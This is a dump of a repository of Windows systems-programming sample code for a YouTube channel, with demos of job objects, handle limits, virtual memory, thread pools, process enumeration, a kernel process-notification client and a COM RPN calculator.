1 | // Runaway.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 |
6 | int main() {
7 | WCHAR name[] = L"Notepad";
8 | STARTUPINFO si{ sizeof(si) };
9 | si.wShowWindow = SW_SHOWMINNOACTIVE;
10 | si.dwFlags = STARTF_USESHOWWINDOW;
11 | PROCESS_INFORMATION pi;
12 |
13 | for (;;) {
14 | if (CreateProcess(nullptr, name, nullptr, nullptr, FALSE, 0,
15 | nullptr, nullptr, &si, &pi)) {
16 | CloseHandle(pi.hProcess);
17 | CloseHandle(pi.hThread);
18 | }
19 | Sleep(1000);
20 | }
21 | return 0;
22 | }
23 |
24 |
--------------------------------------------------------------------------------
/Iocp/Runaway/Runaway.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/JobPlay/JobPlay.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33808.371
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JobPlay", "JobPlay\JobPlay.vcxproj", "{2C2520AE-54CB-409D-84FB-FDE88EB68E1C}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Debug|x64.ActiveCfg = Debug|x64
17 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Debug|x64.Build.0 = Debug|x64
18 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Debug|x86.ActiveCfg = Debug|Win32
19 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Debug|x86.Build.0 = Debug|Win32
20 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Release|x64.ActiveCfg = Release|x64
21 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Release|x64.Build.0 = Release|x64
22 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Release|x86.ActiveCfg = Release|Win32
23 | {2C2520AE-54CB-409D-84FB-FDE88EB68E1C}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {FB55F780-45D4-451F-B2D9-F6625B87DB73}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/JobPlay/JobPlay/JobPlay.cpp:
--------------------------------------------------------------------------------
1 | // JobPlay.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main(int argc, const char* argv[]) {
8 | if (argc < 2)
9 | return 1;
10 |
11 | HANDLE hJob = CreateJobObject(nullptr, L"JobPlay");
12 | if (!hJob)
13 | return 1;
14 |
15 | int pid = strtol(argv[1], nullptr, 0);
16 |
17 | HANDLE hProcess = OpenProcess(PROCESS_SET_QUOTA | PROCESS_TERMINATE, FALSE, pid);
18 | if (!hProcess)
19 | return 1;
20 |
21 | if (!AssignProcessToJobObject(hJob, hProcess))
22 | return 1;
23 |
24 | JOBOBJECT_BASIC_LIMIT_INFORMATION info;
25 | info.ActiveProcessLimit = 2;
26 | info.LimitFlags = JOB_OBJECT_LIMIT_ACTIVE_PROCESS;
27 | if (!SetInformationJobObject(hJob, JobObjectBasicLimitInformation, &info, sizeof(info)))
28 | return 1;
29 |
30 | JOBOBJECT_CPU_RATE_CONTROL_INFORMATION info2;
31 | info2.CpuRate = 1000;
32 | info2.ControlFlags = JOB_OBJECT_CPU_RATE_CONTROL_ENABLE |
33 | JOB_OBJECT_CPU_RATE_CONTROL_HARD_CAP;
34 | if (!SetInformationJobObject(hJob, JobObjectCpuRateControlInformation, &info2, sizeof(info2)))
35 | return 1;
36 |
37 | printf("Success!\n");
38 | Sleep(INFINITE);
39 |
40 | return 0;
41 | }
42 |
--------------------------------------------------------------------------------
/JobPlay/JobPlay/JobPlay.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Pavel Yosifovich
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/MaxHandles/MaxHandles.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33808.371
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MaxHandles", "MaxHandles\MaxHandles.vcxproj", "{94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Debug|x64.ActiveCfg = Debug|x64
17 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Debug|x64.Build.0 = Debug|x64
18 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Debug|x86.ActiveCfg = Debug|Win32
19 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Debug|x86.Build.0 = Debug|Win32
20 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Release|x64.ActiveCfg = Release|x64
21 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Release|x64.Build.0 = Release|x64
22 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Release|x86.ActiveCfg = Release|Win32
23 | {94BCCCA6-5429-41A3-9AB4-85B12C0EB1D5}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {05B582AE-FCFC-44DA-9D87-BAD0F4F24435}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/MaxHandles/MaxHandles/MaxHandles.cpp:
--------------------------------------------------------------------------------
1 | // MaxHandles.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int MaxHandles1() {
8 | int count = 0;
9 | for (;;) {
10 | HANDLE h = CreateJobObject(nullptr, nullptr);
11 | //HANDLE h = CreateMutex(nullptr, FALSE, nullptr);
12 | if (!h)
13 | break;
14 | count++;
15 | }
16 | return count;
17 | }
18 |
19 | int MaxHandles2() {
20 | HANDLE h = CreateMutex(nullptr, FALSE, nullptr);
21 | int count = 1;
22 |
23 | HANDLE hTarget;
24 | while (DuplicateHandle(GetCurrentProcess(), h,
25 | GetCurrentProcess(), &hTarget, 0, FALSE, DUPLICATE_SAME_ACCESS))
26 | count++;
27 |
28 | return count;
29 | }
30 |
31 | int main() {
32 | int count = MaxHandles1();
33 | printf("Total handles: %d\n", count);
34 |
35 | Sleep(INFINITE);
36 | return 0;
37 | }
38 |
--------------------------------------------------------------------------------
/MaxHandles/MaxHandles/MaxHandles.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/MemResCom/MemResCom.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33920.267
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MemResCom", "MemResCom\MemResCom.vcxproj", "{C1FE8766-FBE1-490D-8F8E-9DBC6417E641}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Debug|x64.ActiveCfg = Debug|x64
17 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Debug|x64.Build.0 = Debug|x64
18 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Debug|x86.ActiveCfg = Debug|Win32
19 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Debug|x86.Build.0 = Debug|Win32
20 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Release|x64.ActiveCfg = Release|x64
21 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Release|x64.Build.0 = Release|x64
22 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Release|x86.ActiveCfg = Release|Win32
23 | {C1FE8766-FBE1-490D-8F8E-9DBC6417E641}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {18DFD00C-802F-4F3D-8FFD-706D1C23F211}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/MemResCom/MemResCom/MemResCom.cpp:
--------------------------------------------------------------------------------
1 | // MemResCom.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | long long xsize = 102400, ysize = 102400;
8 | int cell_size = 1024;
9 |
10 | int FixMemory(void* p, DWORD code) {
11 | if (code != EXCEPTION_ACCESS_VIOLATION)
12 | return EXCEPTION_CONTINUE_SEARCH;
13 |
14 | VirtualAlloc(p, cell_size, MEM_COMMIT, PAGE_READWRITE);
15 | return EXCEPTION_CONTINUE_EXECUTION;
16 | }
17 |
18 | int main() {
19 | auto buffer = (char*)VirtualAlloc(nullptr, xsize * ysize * cell_size,
20 | MEM_RESERVE, PAGE_READWRITE);
21 |
22 | //VirtualAlloc(buffer, cell_size, MEM_COMMIT, PAGE_READWRITE);
23 |
24 | char text[] = "Hello, memory!";
25 |
26 | __try {
27 | strcpy_s(buffer, strlen(text) + 1, text);
28 | }
29 | __except (FixMemory(buffer, GetExceptionCode())) {
30 | }
31 |
32 | int x = 10, y = 100;
33 | auto p = buffer + (x + y * xsize) * cell_size;
34 | return 0;
35 | }
36 |
--------------------------------------------------------------------------------
/MemResCom/MemResCom/MemResCom.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/PrimesCounter/PrimesCounter.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.10.34707.107
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PrimesCounter", "PrimesCounter\PrimesCounter.vcxproj", "{A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Debug|x64.ActiveCfg = Debug|x64
17 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Debug|x64.Build.0 = Debug|x64
18 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Debug|x86.ActiveCfg = Debug|Win32
19 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Debug|x86.Build.0 = Debug|Win32
20 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Release|x64.ActiveCfg = Release|x64
21 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Release|x64.Build.0 = Release|x64
22 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Release|x86.ActiveCfg = Release|Win32
23 | {A9038F8D-7539-4EFE-85CF-5A24AB83B4EC}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {11867BE1-70D7-481A-BBD5-51B07D6AEBBF}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/PrimesCounter/PrimesCounter/PrimesCounter.cpp:
--------------------------------------------------------------------------------
1 | // PrimesCounter.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | struct ThreadData {
11 | int from;
12 | int to;
13 | int count;
14 | };
15 |
16 | bool IsPrime(int n) {
17 | int limit = (int)sqrt(n);
18 | for (int i = 2; i <= limit; i++)
19 | if (n % i == 0)
20 | return false;
21 |
22 | return true;
23 | }
24 |
25 | DWORD WINAPI CalcPrimesThread(PVOID p) {
26 | printf("Worker thread %u...\n", GetCurrentThreadId());
27 | auto data = (ThreadData*)p;
28 | int count = 0;
29 |
30 | for (int i = data->from; i <= data->to; i++)
31 | if (IsPrime(i))
32 | count++;
33 | data->count = count;
34 | return 0;
35 | }
36 |
37 | int CalcPrimes(int from, int to, int threads) {
38 | int chunk = (to - from + 1) / threads;
39 |
40 | auto handles = std::make_unique(threads);
41 | auto data = std::make_unique(threads);
42 |
43 | for (int i = 0; i < threads; i++) {
44 | data[i].from = from + (i * chunk);
45 | data[i].to = i == threads - 1 ? to : data[i].from + chunk - 1;
46 | handles[i] = CreateThread(nullptr, 0, CalcPrimesThread, &data[i], 0, nullptr);
47 | }
48 | WaitForMultipleObjects(threads, handles.get(), TRUE, INFINITE);
49 |
50 | int count = 0;
51 | for (int i = 0; i < threads; i++) {
52 | count += data[i].count;
53 | CloseHandle(handles[i]);
54 | }
55 | return count;
56 | }
57 |
58 | int CalcPrimesPpl(int from, int to, int threads) {
59 | std::atomic count = 0;
60 | concurrency::parallel_for(from, to + 1, [&](int n) {
61 | if (IsPrime(n))
62 | count++;
63 | });
64 | return count;
65 | }
66 |
67 | int main(int argc, const char* argv[]) {
68 | int threads = 1;
69 | if (argc > 1)
70 | threads = atoi(argv[1]);
71 |
72 | printf("Using %d threads\n", threads);
73 | auto start = GetTickCount64();
74 | int count = CalcPrimesPpl(3, 35000000, threads);
75 | auto elapsed = GetTickCount64() - start;
76 | printf("Primes: %d Elapsed: %d msec\n", count, (int)elapsed);
77 |
78 | return 0;
79 | }
80 |
81 |
--------------------------------------------------------------------------------
/PrimesCounter/PrimesCounter/PrimesCounter.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ProcList/NtProcList/NtProcList.cpp:
--------------------------------------------------------------------------------
1 | // NtProcList.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #pragma comment(lib, "ntdll")
10 |
11 | int main() {
12 | ULONG size;
13 | std::unique_ptr buffer;
14 |
15 | auto status = NtQuerySystemInformation(SystemProcessInformation,
16 | nullptr, 0, &size);
17 | while (status == STATUS_INFO_LENGTH_MISMATCH) {
18 | size += 4096;
19 | buffer = std::make_unique(size);
20 | status = NtQuerySystemInformation(SystemProcessInformation,
21 | buffer.get(), size, &size);
22 | }
23 |
24 | if (!NT_SUCCESS(status))
25 | return 1;
26 |
27 | auto p = (SYSTEM_PROCESS_INFORMATION*)buffer.get();
28 | for (;;) {
29 | printf("PID: %6u PPID: %6u T: %3u H: %6u S: %u Name: %wZ\n",
30 | HandleToULong(p->UniqueProcessId),
31 | HandleToULong(p->InheritedFromUniqueProcessId),
32 | p->NumberOfThreads,
33 | p->HandleCount,
34 | p->SessionId,
35 | &p->ImageName);
36 |
37 | if (p->NextEntryOffset == 0)
38 | break;
39 |
40 | p = (SYSTEM_PROCESS_INFORMATION*)((PBYTE)p + p->NextEntryOffset);
41 | }
42 | return 0;
43 | }
44 |
45 |
--------------------------------------------------------------------------------
/ProcList/NtProcList/NtProcList.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ProcList/ProcList/ProcList.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ProcNotify/KProcNotify/KProcNotify.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
27 |
28 | Header Files
29 |
30 |
31 |
--------------------------------------------------------------------------------
/ProcNotify/KProcNotify/ProcNotifyShared.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | enum class EventType {
4 | ProcessCreate,
5 | ProcessExit,
6 | };
7 |
8 | struct EventHeader {
9 | ULONG64 Time;
10 | EventType Type;
11 | ULONG Size;
12 | };
13 |
14 | struct ProcessCreate : EventHeader {
15 | ULONG ProcessId;
16 | ULONG ParentId;
17 | WCHAR CommandLine[1];
18 | };
19 |
20 | struct ProcessExit : EventHeader {
21 | ULONG ProcessId;
22 | LONG ExitCode;
23 | };
24 |
--------------------------------------------------------------------------------
/ProcNotify/ProcNotify/ProcNotify.cpp:
--------------------------------------------------------------------------------
1 | // ProcNotify.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include "../KProcNotify/ProcNotifyShared.h"
7 |
8 | void DisplayTime(ULONG64 time) {
9 | FILETIME ft;
10 | FileTimeToLocalFileTime((FILETIME*)&time, &ft);
11 | SYSTEMTIME st;
12 | FileTimeToSystemTime(&ft, &st);
13 | printf("%02d:%02d:%02d.%03d",
14 | st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
15 | }
16 |
17 | void DisplayBuffer(BYTE* data, DWORD size) {
18 | while (size) {
19 | auto header = (EventHeader*)data;
20 | DisplayTime(header->Time);
21 | switch (header->Type) {
22 | case EventType::ProcessCreate:
23 | {
24 | auto evt = (ProcessCreate*)header;
25 | printf(" Process Create PID: %u PPID: %u Command Line: %ws\n",
26 | evt->ProcessId, evt->ParentId, evt->CommandLine);
27 | break;
28 | }
29 | case EventType::ProcessExit:
30 | auto evt = (ProcessExit*)header;
31 | printf(" Process Exit PID: %u Exit Code: %d\n",
32 | evt->ProcessId, evt->ExitCode);
33 | break;
34 |
35 | }
36 | data += header->Size;
37 | size -= header->Size;
38 | }
39 | }
40 |
41 | int main() {
42 | HANDLE hDevice = CreateFile(L"\\\\.\\ProcNotify", GENERIC_READ,
43 | 0, nullptr,
44 | OPEN_EXISTING, 0, nullptr);
45 |
46 | if (hDevice == INVALID_HANDLE_VALUE) {
47 | printf("Error: %u\n", GetLastError());
48 | return -1;
49 | }
50 | printf("Open handle: 0x%p\n", hDevice);
51 |
52 | BYTE buffer[4 << 10];
53 | DWORD read;
54 | while (ReadFile(hDevice, buffer, sizeof(buffer), &read, nullptr)) {
55 | if (read)
56 | DisplayBuffer(buffer, read);
57 | Sleep(500);
58 | }
59 | printf("ReadFile failed: %u\n", GetLastError());
60 | CloseHandle(hDevice);
61 | return 0;
62 | }
63 |
--------------------------------------------------------------------------------
/ProcNotify/ProcNotify/ProcNotify.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Youtube Channel Code
2 |
3 | Youtube channel sample code.
4 |
5 | Channel URL: https://www.youtube.com/@zodiacon
6 |
7 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalc.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "RPNCalc.h"
3 |
4 | HRESULT __stdcall RPNCalc::QueryInterface(REFIID riid, void** ppvObject) {
5 | if (riid == __uuidof(IUnknown) || riid == __uuidof(IRPNCalculator)) {
6 | *ppvObject = static_cast(this);
7 | AddRef();
8 | return S_OK;
9 | }
10 | return E_NOINTERFACE;
11 | }
12 |
13 | ULONG __stdcall RPNCalc::AddRef(void) {
14 | return ++m_RefCount;
15 | }
16 |
17 | ULONG __stdcall RPNCalc::Release(void) {
18 | int count = --m_RefCount;
19 | if (count == 0)
20 | delete this;
21 | return count;
22 | }
23 |
24 | HRESULT __stdcall RPNCalc::Push(int n) {
25 | m_Stack.push(n);
26 | return S_OK;
27 | }
28 |
29 | HRESULT __stdcall RPNCalc::Pop(int* n) {
30 | if (m_Stack.empty())
31 | return E_UNEXPECTED;
32 |
33 | *n = m_Stack.top();
34 | m_Stack.pop();
35 | return S_OK;
36 | }
37 |
38 | HRESULT __stdcall RPNCalc::Add() {
39 | if (m_Stack.size() < 2)
40 | return E_UNEXPECTED;
41 | int x, y;
42 | Pop(&x);
43 | Pop(&y);
44 |
45 | return Push(x + y);
46 | }
47 |
48 | HRESULT __stdcall RPNCalc::Sub() {
49 | if (m_Stack.size() < 2)
50 | return E_UNEXPECTED;
51 | int x, y;
52 | Pop(&x);
53 | Pop(&y);
54 |
55 | return Push(y - x);
56 | }
57 |
58 | HRESULT __stdcall RPNCalc::Mul() {
59 | if (m_Stack.size() < 2)
60 | return E_UNEXPECTED;
61 | int x, y;
62 | Pop(&x);
63 | Pop(&y);
64 |
65 | return Push(x * y);
66 | }
67 |
68 | HRESULT __stdcall RPNCalc::Div() {
69 | if (m_Stack.size() < 2)
70 | return E_UNEXPECTED;
71 | int x, y;
72 | Pop(&x);
73 | Pop(&y);
74 | if (x == 0)
75 | return E_UNEXPECTED;
76 |
77 | return Push(y / x);
78 | }
79 |
80 | HRESULT __stdcall RPNCalc::IsEmpty(bool* pEmpty) {
81 | *pEmpty = m_Stack.empty();
82 | return S_OK;
83 | }
84 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "RPNCalcSvr.h"
4 | #include
5 |
6 | class RPNCalc : IRPNCalculator {
7 | public:
8 | // Inherited via IRPNCalculator
9 | HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override;
10 | ULONG __stdcall AddRef(void) override;
11 | ULONG __stdcall Release(void) override;
12 | HRESULT __stdcall Push(int n) override;
13 | HRESULT __stdcall Pop(int* n) override;
14 | HRESULT __stdcall Add() override;
15 | HRESULT __stdcall Sub() override;
